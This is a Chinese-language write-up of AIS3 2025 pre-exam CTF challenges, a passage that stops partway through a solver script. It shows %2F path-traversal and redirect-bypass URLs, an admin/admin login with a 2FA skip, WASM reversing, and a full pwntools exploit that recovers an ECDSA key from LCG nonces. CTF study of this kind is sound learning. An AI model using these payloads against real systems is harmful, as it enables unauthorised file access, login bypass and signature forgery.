2025 AIS3 pre-exam writeup

2025 AIS3 pre-exam writeup

心得

先丟結果
image

這次比賽為期三天,我拿到了第 69 名,希望能正取進 AIS3!😗
今年的題目難度超極端,不是 500 分就是 100 分,所以直到最後一小時我都還在努力狂打。

大家都超會用 AI,我禮拜天睡前還一度衝到第 43 名,結果睡醒後直接掉到第 110 名,整個嚇爛。
我甚至夢到有人說 AI 可以拿來打密碼學
看著自己的排名一路往下掉,我也受不了誘惑,開始用起了 AI。

沒用還好,一用嚇一跳——我真的沒想到 AI 連密碼學都能處理,甚至連 Pwn 題也能打出來!
在和 AI 深度蕉流(?)後,看著它生出 exploit、炸出 flag,那種感覺真的超奇妙,一度懷疑我是不是白學資安了(笑)。

不過,用 AI 打出來也未必是壞事,AI 作為一個趁手的輔助工具,真的能在關鍵時刻成為得力助手。
只是……我心裡還是有點良心不安 😓
所以比賽結束後,我也主動去把題目解法補齊,寫出了超詳細的 writeup,算是對得起自己吧!

我只想說一句:

哎呀,Google Gemini 2.5 Pro 拿了 MVP

希望接下來,我能系統化地補上不足,讓自己在 2026 的 pre-exam 中不再那麼依賴 AI,

Writeup

Welcome

Category: Welcome

題目敘述

Copy & Paste ?
You don't know how to copy & paste ???
Let me teach you : Ctrl + c & Ctrl + v 😮‍💨😮‍💨😮‍💨

image

就照著上面打就好了

flag:

1
AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF

Category: Misc

題目敘述

我在吃 CTF,喔不對,拉麵,但我忘記我在哪間店吃了...,請幫我找出來
(P.S. FlagFormat: AIS3{google map 上的店家名稱:我點的品項在菜單上的名稱})

Author: whale120

image

附件內容

題目提供一張圖片檔案 chal.jpg,內容是一碗拉麵與周邊餐具,圖上方部分有一個猴子遮眼的貼圖遮住部分畫面。

解題過程

1.嘗試從圖片中找線索

chal

打開 chal.jpg,可以看到:

  • 有一個猴子遮眼的貼圖遮住拉麵畫面
  • 圖片右上角出現一張發票,並可見部分資訊
  • 發票旁邊出現一張 QRCode,可用於查詢點餐內容

判斷應該是在一家名為「平和」的拉麵店用餐。

2.查詢店家資訊

google搜尋台灣平和拉麵,可以在台灣公司網發現拉麵店相關資訊
image

3.Google Maps 定位查找

打開 Google Maps,輸入上述地址,發現地址附近實際的 Google 地標店名為:

樂山溫泉拉麵

image

4.掃描發票 QRCode 得知餐點內容

掃描圖片右上角的 QRCode,取得以下內容:

MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==::2:2:1:蝦拉**

並搭配菜單
image

查到點的餐點為:蝦拉麵

Flag

1
AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

Category: Misc

題目敘述

From 7890/tiny-web-server
I am reading Computer Systems: A Programmer's Perspective.
It teachers me how to write a tiny web server in C.

Author: pwn2ooown

題目描述

The flag is at /readable_flag_somerandomstring (root directory of the server).
You need to find out the flag name by yourself.

提示強調:

  • 不要反編譯 binary
  • 不要掃目錄
  • flag 檔案在 root 目錄下,但檔名隨機

網頁畫面

打開靶機網址,畫面如下:

1
chals1.ais3.org:20446/index.html

image

底下給出一段藏有線索的內容:

Hidden secrets lie above so high,
Where root directory holds treasures you can spy.
File inclusion shows the way,
To read the flag without delay.

所以可以從中了解本題是要透過「Path Traversal」的方式,直接讀取 root 資料夾下的檔案。

解題流程:

嘗試Path Traversal

由於提示中提到「File inclusion shows the way」,結合題目強調伺服器無安全檢查,我猜測可能存在Path Traversal的洞。
此外,考慮到瀏覽器會對 %2F 視為斜線 /,因此我嘗試在網址中使用 %2F/%2F,來嘗試進入 root 目錄。

在網址中使用 %2F(URL 編碼後的 /)嘗試進入根目錄:

1
http://chals1.ais3.org:20446/%2F/%2F

image
成功進到根目錄後,可以看到其中有一個隱藏檔案名稱:

1
readable_flag_Bl6ET5AT4EeAhBwcdc3Dp9RMjjhYkphd

點擊檔案取得 Flag

1
http://chals1.ais3.org:20446/%2F/%2F/readable_flag_Bl6ET5AT4EeAhBwcdc3Dp9RMjjhYkphd

image

Flag

1
AIS3{tInY_weB_S3rveR_WiTh_fIle_BR0ws1nG_aS_@_feATURE}

Tomorin db🐧

Category: Web
Tags: File Server, Redirection Bypass, Golang, Percent Encoding

題目描述

I make a simple server which store some Tomorin.
Tomorin is cute ~
I also store flag in this file server, too.
http://chals1.ais3.org:30000

Author: naup9632

題目原始檔

題目架構

1
2
3
4
5
6
7
8
9
10
├── docker-compose.yml
├── Dockerfile
└── src
├── go.mod
├── main.go
└── Tomorin
├── cute.jpg
├── flag
├── is.jpg
└── tomorin.jpg

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import "net/http"

func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
// 註:雖然定義了 redirect 的 handler,但 FileServer 指向整個 Tomorin 資料夾,因此實際上 /flag 是一個實體檔案

題目內容

image

進入網站,可以看到檔案列表如下:

  • cute.jpg
  • is.jpg
  • tomorin.jpg
  • flag

前三個 .jpg 是動畫截圖,沒有隱藏訊息
第四個 flag 點下去會直接 被導向 YouTube :

https://youtu.be/lQuWN0biOBU

解題思路

由於題目描述提到 flag 就在這個「file server」裡,但點 flag 會被重導(302 Found),所以合理懷疑:

  • flag 應該是一個 虛擬路徑 or 跳轉點
  • 但伺服器實際上還是有一個真實檔案,只是被擋住了
  • 也就是說,可能是「用 Golang 內建 redirect 實作的 router」導走,但真正的 /flag 仍可由其他方式存取

解題過程

1.直接用瀏覽器點 /flag

會被轉跳至:
https://youtu.be/lQuWN0biOBU

2.使用curl查看HTTP Headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\fishbaby1011>curl -v http://chals1.ais3.org:30000/flag
* Host chals1.ais3.org:30000 was resolved.
* IPv6: (none)
* IPv4: 10.25.7.111
* Trying 10.25.7.111:30000...
* Connected to chals1.ais3.org (10.25.7.111) port 30000
* using HTTP/1.x
> GET /flag HTTP/1.1
> Host: chals1.ais3.org:30000
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 Found
< Content-Type: text/html; charset=utf-8
< Location: https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6
< Date: Sun, 01 Jun 2025 10:20:34 GMT
< Content-Length: 71
<
<a href="https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6">Found</a>.

* Connection #0 to host chals1.ais3.org left intact

發現 /flag 頁面有明確的 redirect header 被設定

嘗試繞過 redirect → 使用 URL encoding %2F

由於 %2F 在大多數伺服器上會被解析成/
但可能避開 router 規則、跳過 redirect 判斷!

嘗試存取 /%2F/flag

1
http://chals1.ais3.org:30000/%2F/flag

成功繞過跳轉限制,直接取得伺服器上的 flag!
image

Flag

1
AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

解題反思

這題實際上是在考「繞過 Golang 中 HTTP redirect 的 router 行為」,屬於 Golang 網頁框架在處理 URL 時可能忽略的細節,不過我是真的沒想到可以跟tiny server那題共用payload:

  • 路由中定義 /flag 做 redirect
  • 但實際上系統裡中仍有 /flag 檔案存在
  • %2F 的編碼繞過可能是因為 router 僅檢查邏輯路徑,而非原始 URL

Login Screen 1

Category: Web
Tags: SQL Injection, 2FA Bypass, Cookie Abuse

題目描述

註:我打出這題的時候還沒附原始碼,黑箱就成功打出來了,所以我就不附原始碼了:D

Welcome to my Login Screen! This is your go-to space for important announcements, upcoming events, helpful resources, and community updates. Whether you're looking for deadlines, meeting times, or opportunities to get involved, you'll find all the essential information posted here. Be sure to check back regularly to stay informed and connected!
http://login-screen.ctftime.uk:36368/

Author: Ching367436

初步觀察

打開網頁後為一個典型的登入頁面:

image

輸入 guest/guest 成功登入後跳出 2FA 驗證頁面:

image

成功登入 guest 帳戶後,發現一篇提示訊息:

image

成功登入 guest 帳戶後,發現一篇提示訊息:

Only admin can view the flag.

解題思路推理

  • 預設帳號 guest 可登入,但無法看到 flag
  • 題目沒給 admin 的帳密,但我嘗試輸入 admin / admin 結果居然能登入
  • 接著仍會被要求輸入 admin 的 2FA code → 顯然是未知的

此時考慮的解題方式:

利用已建立的 session + 修改請求繞過驗證程序,直接存取後台頁面

解題過程

1.登入admin/admin

image

2.使用Burp Suite抓 2FA 封包

在 2FA 頁面輸入錯誤碼 000000 抓取 POST 封包:
image

這是一個標準的 2FA 驗證流程,但已經取得 admin 的 session,因此可以考慮直接跳過 2FA。
image

3.手動存取dashboard.php

使用原本的 PHPSESSID,直接 GET:
image

成功進入 admin 的後台!

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
HTTP/1.1 302 Found
Date: Sun, 01 Jun 2025 12:14:20 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: Express
ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"
Connection: keep-alive, Keep-Alive
Keep-Alive: timeout=5, max=100
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: 2fa.php
Content-Length: 1096
Content-Type: text/html


<!DOCTYPE html>
<html lang="en">
<head>
<title>Dashboard</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
<link rel="stylesheet" href="styles.css">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>

<main class="container">
<h2>Welcome, admin!</h2>

<h3>Your Previous Posts</h3>

<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>;
<div class='box'><strong>2025-05-06</strong><div id='post2' class='post'>AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}</div></div>;
</article>
<a href="logout.php"><button class="big_button">Logout</button></a>
</main>
</body>
</html>

Flag

1
AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

解題反思

這題雖然表面是登入+2FA,但其實要我打的是

  • 1.admin/admin 密碼未設防(也可能存在 SQL Injection 可能性)
  • 2.登入成功後即分配 session,但後端沒有限制 dashboard.php 必須完成 2FA 才可進入
  • 3.這類繞過屬於「狀態驗證邏輯漏洞(Auth Logic Flaw)」

登入成功後即分配 session,但後端沒有限制 dashboard.php 必須完成 2FA 才可進入

當初沒原始碼的時候我還拿SQL map一直炸,想說怎麼都炸不出東西,直到試了admin/admin結果過了 超幹,然後2FA又被擋又花了好久研究,好在有打出來


Flag Checker

Category: Rev
tags: WASM 逆向, Bit Rotation, WebAssembly

題目敘述

Just a web flag checker
http://chals1.ais3.org:29998

Author: Chumy

題目內容

  • 右鍵檢查網頁資源時,發現 **index.wasm**。
    image

  • 下載後,用 wasm-decompile 轉成可讀的 C語言的檔案。

    1
    root@ubuntu2204:/home/user/pre-exam/web-flag-checker# wasm-decompile index.wasm -o index.wasm.c
  • index.wasm.c 裡的核心函式名稱清楚寫着 flagchecker,看來應該就是驗證邏輯。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    export function flagchecker(a:int):int {
    var b:int = g_a;
    var c:int = 96;
    var d:int = b - c;
    g_a = d;
    d[22]:int = a;
    var e:int = -39934163;
    d[21]:int = e;
    var f:int = 64;
    var g:long_ptr = d + f;
    var h:long = 0L;
    g[0] = h;
    var i:int = 56;
    var j:long_ptr = d + i;
    j[0] = h;
    var k:int = 48;
    var l:long_ptr = d + k;
    l[0] = h;
    d[5]:long = h;
    d[4]:long = h;
    var m:long = 7577352992956835434L;
    d[4]:long = m;
    var n:long = 7148661717033493303L;
    d[5]:long = n;
    var o:long = -7081446828746089091L;
    d[6]:long = o;
    var p:long = -7479441386887439825L;
    d[7]:long = p;
    var q:long = 8046961146294847270L;
    d[8]:long = q;
    var r:int = d[22]:int;
    var s:int = 0;
    var t:int = r != s;
    var u:int = 1;
    var v:int = t & u;
    if (eqz(v)) goto B_c;
    var w:int = d[22]:int;
    var x:int = f_n(w);
    var y:int = 40;
    var z:int = x != y;
    var aa:int = 1;
    var ba:int = z & aa;
    if (eqz(ba)) goto B_b;
    label B_c:
    var ca:int = 0;
    d[23]:int = ca;
    goto B_a;
    label B_b:
    var da:int = d[22]:int;
    d[7]:int = da;
    var ea:int = 0;
    d[6]:int = ea;
    loop L_e {
    var fa:int = d[6]:int;
    var ga:int = 5;
    var ha:int = fa < ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (eqz(ja)) goto B_d;
    var ka:int = d[7]:int;
    var la:int = d[6]:int;
    var ma:int = 3;
    var na:int = la << ma;
    var oa:long_ptr = ka + na;
    var pa:long = oa[0];
    d[2]:long = pa;
    var qa:int = d[6]:int;
    var ra:int = 6;
    var sa:int = qa * ra;
    var ta:int = -39934163;
    var ua:int = ta >> sa;
    var va:int = 63;
    var wa:int = ua & va;
    d[3]:int = wa;
    var xa:long = d[2]:long;
    var ya:int = d[3]:int;
    var za:long = f_i(xa, ya);
    var ab:int = d[6]:int;
    var bb:int = 32;
    var cb:int = d + bb;
    var db:int = cb;
    var eb:int = 3;
    var fb:int = ab << eb;
    var gb:long_ptr = db + fb;
    var hb:long = gb[0];
    var ib:int = za != hb;
    var jb:int = 1;
    var kb:int = ib & jb;
    if (eqz(kb)) goto B_f;
    var lb:int = 0;
    d[23]:int = lb;
    goto B_a;
    label B_f:
    var mb:int = d[6]:int;
    var nb:int = 1;
    var ob:int = mb + nb;
    d[6]:int = ob;
    continue L_e;
    }
    label B_d:
    var pb:int = 1;
    d[23]:int = pb;
    label B_a:
    var qb:int = d[23]:int;
    var rb:int = 96;
    var sb:int = d + rb;
    g_a = sb;
    return qb;
    }

解題思路

  1. 找常數
    在 flagchecker 內部,很快可以看到五個 64‑bit 常數被 push 到記憶體。
  2. 找運算
    接着程式會把「輸入值」做某種 **位元旋轉 (rotate)**,再與這些常數比較。
  3. 逆向回去
    如果「左旋」得到常數,那我們只要 右旋 常數,就能算出原本輸入應該是什麼。
  4. 一次算 8 bytes
    五個常數 × 8 bytes = 40 bytes;對應 flag 長度合理。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import struct

# 目標值,補上轉成無符號的補數
def to_unsigned(val):
return val & 0xFFFFFFFFFFFFFFFF

target_values = [
7577352992956835434,
7148661717033493303,
to_unsigned(-7081446828746089091), # 補數轉換
to_unsigned(-7479441386887439825), # 補數轉換
8046961146294847270
]

# 魔數與旋轉量
magic_number = -39934163 # 0xFD9BFFED
rotation_amounts = [(magic_number >> (i * 6)) & 0x3F for i in range(5)]
print(f"旋轉量: {rotation_amounts}")

# 反向旋轉函數
def reverse_rotate(value, amount):
amount = amount % 64
return ((value >> amount) | (value << (64 - amount))) & 0xFFFFFFFFFFFFFFFF

# 執行反向旋轉
reversed_values = []
for i in range(5):
rotated = reverse_rotate(target_values[i], rotation_amounts[i])
reversed_values.append(rotated)
print(f"塊 {i}: 旋轉後值 = {rotated} (0x{rotated:016x})")

# 將每個數值轉成小端 byte 並組成 flag
flag_parts = []
for value in reversed_values:
bytes_part = struct.pack('<Q', value) # 小端序
flag_parts.append(bytes_part)

flag_bytes = b''.join(flag_parts)
flag = flag_bytes.decode('ascii', errors='replace') # 換成 'replace' 以確認哪裡出問題

# 顯示最終結果
print("\n計算出的flag:")
print(flag)
print(f"\nFlag長度: {len(flag)} 字節")

運行結果:

1
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

解題反思

這題其實對我這種wasm的逆向新手蠻

Flag

1
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

SlowECDSA

Category:Crypto

題目敘述

I found this Slow version of ECDSA in my drawer, can you spot the bug?
nc chals1.ais3.org 19000

Author: whale120

題目內容

chal.py 原始碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3

import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag

FLAG = flag

class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m

def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state

curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()

lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)

def sign(msg: bytes):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
return r, s

def verify(msg: str, r: int, s: int):
h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
try:
sig = number_to_string(r, order) + number_to_string(s, order)
return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
except:
return False

example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")

while True:
opt = input("Enter option: ").strip()

if opt == "get_example":
print(f"msg: {example_msg.decode()}")
example_r, example_s = sign(example_msg)
print(f"r: {hex(example_r)}")
print(f"s: {hex(example_s)}")

elif opt == "verify":
msg = input("Enter message: ").strip()
r = int(input("Enter r (hex): ").strip(), 16)
s = int(input("Enter s (hex): ").strip(), 16)

if verify(msg, r, s):
if msg == "give_me_flag":
print("✅ Correct signature! Here's your flag:")
print(FLAG.decode())
else:
print("✔️ Signature valid, but not the target message.")
else:
print("❌ Invalid signature.")

else:
print("Unknown option. Try again.")

解題思路

伺服器使用如下方式簽名訊息:

1
2
3
4
5
6
7
8
9
10
11
12
class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m

def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state

k = lcg.next()
  • 曲線:NIST192p
  • k 生成方式:LCG (參數 a=1103515245, c=12345)
  • 使用固定訊息 example_msg 簽名兩次,分別產生 (r1, s1) 和 (r2, s2)。

解題原理

ECDSA 的簽章公式:

1
s = k⁻¹ (h + r * d) mod n

若已知兩組 (r, s) 且 k 為關聯值(例如來自 LCG),就可以建立以下等式並解出私鑰 d:

  1. 設:

    1
    k2 = a * k1 + c  (LCG 特性)
  2. 套入兩組簽章公式,可推出:

    1
    k1 * (s1 * r2 - s2 * a * r1) ≡ h * (r2 - r1) + s2 * c * r1  (mod n)
  3. 解出 k1,再代入:

    1
    d = (s1 * k1 - h) * r1⁻¹ mod n

解題步驟

1.取得兩組 example 簽章:

1
2
3
4
5
io.sendline(b"get_example")
# 獲取 r1, s1

io.sendline(b"get_example")
# 獲取 r2, s2

2.解出 k1

1
k1 = ((h * (r2 - r1) + s2 * c * r1) * inverse(s1 * r2 - s2 * a * r1, n)) % n

3.解出私鑰 d

1
d = ((s1 * k1 - h) * inverse(r1, n)) % n

4.產生目標訊息 give_me_flag 的簽章

1
2
r = (k * G).x % n
s = inverse(k, n) * (h + r * d) % n

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python3

import hashlib
from pwn import remote, context
from ecdsa import NIST192p
# from ecdsa.util import number_to_string # Not strictly needed for calculations
from Crypto.Util.number import inverse, getRandomRange # Added getRandomRange for completeness

# Challenge parameters
HOST = "chals1.ais3.org"
PORT = 19000

# LCG parameters from challenge source
LCG_A = 1103515245
LCG_C = 12345

# ECDSA curve and order
CURVE = NIST192p
ORDER = CURVE.order
GENERATOR = CURVE.generator

# Messages
EXAMPLE_MSG_BYTES = b"example_msg" #
TARGET_MSG_STR = "give_me_flag"
TARGET_MSG_BYTES = TARGET_MSG_STR.encode()

# Set pwntools context for cleaner output if desired (optional)
# context.log_level = 'debug'

def get_hash_int(msg_bytes: bytes) -> int:
"""Calculates the integer hash h used in the challenge's sign function."""
# The challenge's sign function does: int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
# Since SHA1 output (160 bits) is smaller than NIST192p order (192 bits),
# the % order is usually redundant but harmless.
return int.from_bytes(hashlib.sha1(msg_bytes).digest(), 'big')

def main():
io = remote(HOST, PORT)

# Get first signature for example_msg
io.sendlineafter(b"Enter option: ", b"get_example")
io.recvuntil(b"msg: example_msg\n") # Wait for the message line
io.recvuntil(b"r: ") # Wait for "r: "
r1_hex = io.recvline().decode().strip() # Read the hex value of r1
io.recvuntil(b"s: ") # Wait for "s: "
s1_hex = io.recvline().decode().strip() # Read the hex value of s1
r1 = int(r1_hex, 16)
s1 = int(s1_hex, 16)
print(f"[*] Got first signature: r1 = {hex(r1)}, s1 = {hex(s1)}")

# Get second signature for example_msg
io.sendlineafter(b"Enter option: ", b"get_example")
io.recvuntil(b"msg: example_msg\n") # Wait for the message line
io.recvuntil(b"r: ") # Wait for "r: "
r2_hex = io.recvline().decode().strip() # Read the hex value of r2
io.recvuntil(b"s: ") # Wait for "s: "
s2_hex = io.recvline().decode().strip() # Read the hex value of s2
r2 = int(r2_hex, 16)
s2 = int(s2_hex, 16)
print(f"[*] Got second signature: r2 = {hex(r2)}, s2 = {hex(s2)}")

# Calculate h_example
h_example = get_hash_int(EXAMPLE_MSG_BYTES)

# Calculate k1
# k1 * (s2*LCG_A - r2*s1*inv_r1) = h_example * (1 - r2*inv_r1) - s2*LCG_C (mod ORDER)
try:
inv_r1 = inverse(r1, ORDER)
except ValueError:
print(f"[!] r1 ({hex(r1)}) is not invertible modulo ORDER. Try re-running.")
io.close()
return

term_k1_coeff_A = (s2 * LCG_A) % ORDER
term_k1_coeff_B = (r2 * s1 % ORDER * inv_r1 % ORDER) % ORDER
k1_coeff = (term_k1_coeff_A - term_k1_coeff_B + ORDER) % ORDER

if k1_coeff == 0:
print("[!] k1_coeff is 0. Cannot solve for k1. Try re-running the script.")
io.close()
return

term_rhs_A_factor = (1 - (r2 * inv_r1 % ORDER) + ORDER) % ORDER
term_rhs_A = (h_example * term_rhs_A_factor) % ORDER
term_rhs_B = (s2 * LCG_C) % ORDER
k1_rhs = (term_rhs_A - term_rhs_B + ORDER) % ORDER

try:
inv_k1_coeff = inverse(k1_coeff, ORDER)
except ValueError:
print(f"[!] k1_coeff ({hex(k1_coeff)}) is not invertible modulo ORDER. Try re-running.")
io.close()
return

k1 = (k1_rhs * inv_k1_coeff) % ORDER
print(f"[*] Calculated k1 = {hex(k1)}")

# Calculate private key d (sk_priv)
# d = (s1 * k1 - h_example) * inv_r1 (mod ORDER)
sk_priv_num = (s1 * k1 % ORDER - h_example + ORDER) % ORDER
sk_priv = (sk_priv_num * inv_r1) % ORDER
print(f"[*] Recovered private key d = {hex(sk_priv)}")

# Sign the target message "give_me_flag"
h_flag = get_hash_int(TARGET_MSG_BYTES)

k_flag = 42

if not (0 < k_flag < ORDER): # This check is mostly for robustness if k_flag was dynamic
print(f"[!] Chosen k_flag ({k_flag}) is invalid or too simple.")
# Fallback using getRandomRange if needed, ensure it's imported
k_flag = getRandomRange(1, ORDER - 1)
print(f"[!] Using random k_flag = {hex(k_flag)}")


R_flag_point = k_flag * GENERATOR
r_flag = R_flag_point.x() % ORDER

if r_flag == 0:
print("[!] r_flag is 0. This is rare. Try a different k_flag or re-run.")
io.close()
return

try:
inv_k_flag = inverse(k_flag, ORDER)
except ValueError:
print(f"[!] k_flag ({hex(k_flag)}) is not invertible modulo ORDER. Try re-running / different k_flag.")
io.close()
return

s_flag_intermediate = (h_flag + r_flag * sk_priv % ORDER) % ORDER
s_flag = (inv_k_flag * s_flag_intermediate) % ORDER

if s_flag == 0:
print("[!] s_flag is 0. This is rare. Try a different k_flag or re-run.")
io.close()
return

print(f"[*] Crafted signature for '{TARGET_MSG_STR}':")
print(f" r_flag: {hex(r_flag)}")
print(f" s_flag: {hex(s_flag)}")

# Send the signature for verification
io.sendlineafter(b"Enter option: ", b"verify")
io.sendlineafter(b"Enter message: ", TARGET_MSG_STR.encode()) # Server expects string, then encodes
io.sendlineafter(b"Enter r (hex): ", hex(r_flag).encode())
io.sendlineafter(b"Enter s (hex): ", hex(s_flag).encode())

# Get the flag
result = io.recvall(timeout=5).decode() # Increased timeout slightly if needed
print("\n[*] Server response:")
print(result)

if "AIS3" in result:
print("\n[+] Flag potentially found!")
else:
print("\n[-] Flag not found in response. Exploit might have failed.")

io.close()

if __name__ == "__main__":
main()

FLAG

1
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}

Stream

Category:Crypto

題目敘述

I love streaming randomly online!

Author : Whale120

題目內容

chal.py 原始碼

1
2
3
4
5
6
7
8
9
10
11
12
from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)

for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))

提供 chal.py 和 output.txt:

  • hexor(a, b) = hex(int.from_bytes(a) ^ b**2)
  • 隨機產生 80 組 (sha512(os.urandom(32)), getrandbits(256)) 並套用 hexor
  • 最後一行為:flag_bytes ^ R_flag^2 的結果

加密邏輯與解密思路

XOR 性質

若:

1
2
C = M ^ R^2  
則: M = C ^ R^2

發現

  • flag 的密文為 C_flag = flag_bytes ^ R_flag^2
  • 若已知 flag 格式為 AIS3{...},可反推出 flag_bytes
  • 遍歷鄰近範圍猜測 R_flag,逐一嘗試解密

解題步驟

1. 讀取最後一行密文

1
2
lines = open("output.txt").read().strip().split("\n")
C_flag = int(lines[-1], 16)

2. 估算 R_flag

1
2
from math import isqrt
approx_R = isqrt(C_flag)

3. 暴力搜尋 R,還原 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

for delta in range(-500_000, 500_000):
R = approx_R + delta
if R < 0:
continue
flag_int = C_flag ^ (R * R)
try:
flag_bytes = long_to_bytes(flag_int, 64)
if b"AIS3{" in flag_bytes:
start = flag_bytes.find(b"AIS3{")
# 限定 printable 字元
sub = flag_bytes[start:].split(b'\x00')[0]
if sub.endswith(b"}") and all(32 <= c <= 126 for c in sub):
print("Found:", sub.decode())
break
except:
continue

解題過程

  • 1.flag ≈ C_flag ^ R^2,暴力搜尋 R 鄰近值
  • 2.若明文具結構 (如 flag 格式) + 金鑰弱設計 (R^2),易遭還原
  • 3.只需針對 √C_flag 附近嘗試,遠小於 2^256 空間

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import math

# 从 output_content 中提取所有十六进制字符串,并转换成整数
lines = [line.strip() for line in output_content.strip().split('\n') if line.strip()]
if not lines:
print("Error: output.txt content is empty or malformed.")
exit()

# 最后一行是 flag 的密文
flag_ciphertext_hex = lines[-1]
C_flag = int(flag_ciphertext_hex, 16)

print(f"Flag密文 (Hex): {flag_ciphertext_hex}")
print(f"Flag密文 (Int): {C_flag}")

# 估算 R 的值
approx_R = int(math.isqrt(C_flag))

print(f"估算的 R: {approx_R}")

# 搜索 delta 范围
# 保持 500000 的范围,如果 AIS3{...} 也不行,我们再考虑更大的范围。
delta_range = 500000
found_flag = None

print(f"开始在 delta 范围 [-{delta_range}, {delta_range}] 中搜索...")
print(f"注意:现在搜索的 flag 格式为 'AIS3{{...}}'")

for delta in range(-delta_range, delta_range + 1):
potential_R = approx_R + delta

if potential_R < 0:
continue

potential_R_squared = potential_R ** 2
potential_flag_int = C_flag ^ potential_R_squared

try:
padded_flag_bytes = potential_flag_int.to_bytes(64, 'big')

# 核心改动:检查是否包含 'AIS3{' 字串
if b'AIS3{' in padded_flag_bytes:
start_index = padded_flag_bytes.find(b'AIS3{')

is_printable = True
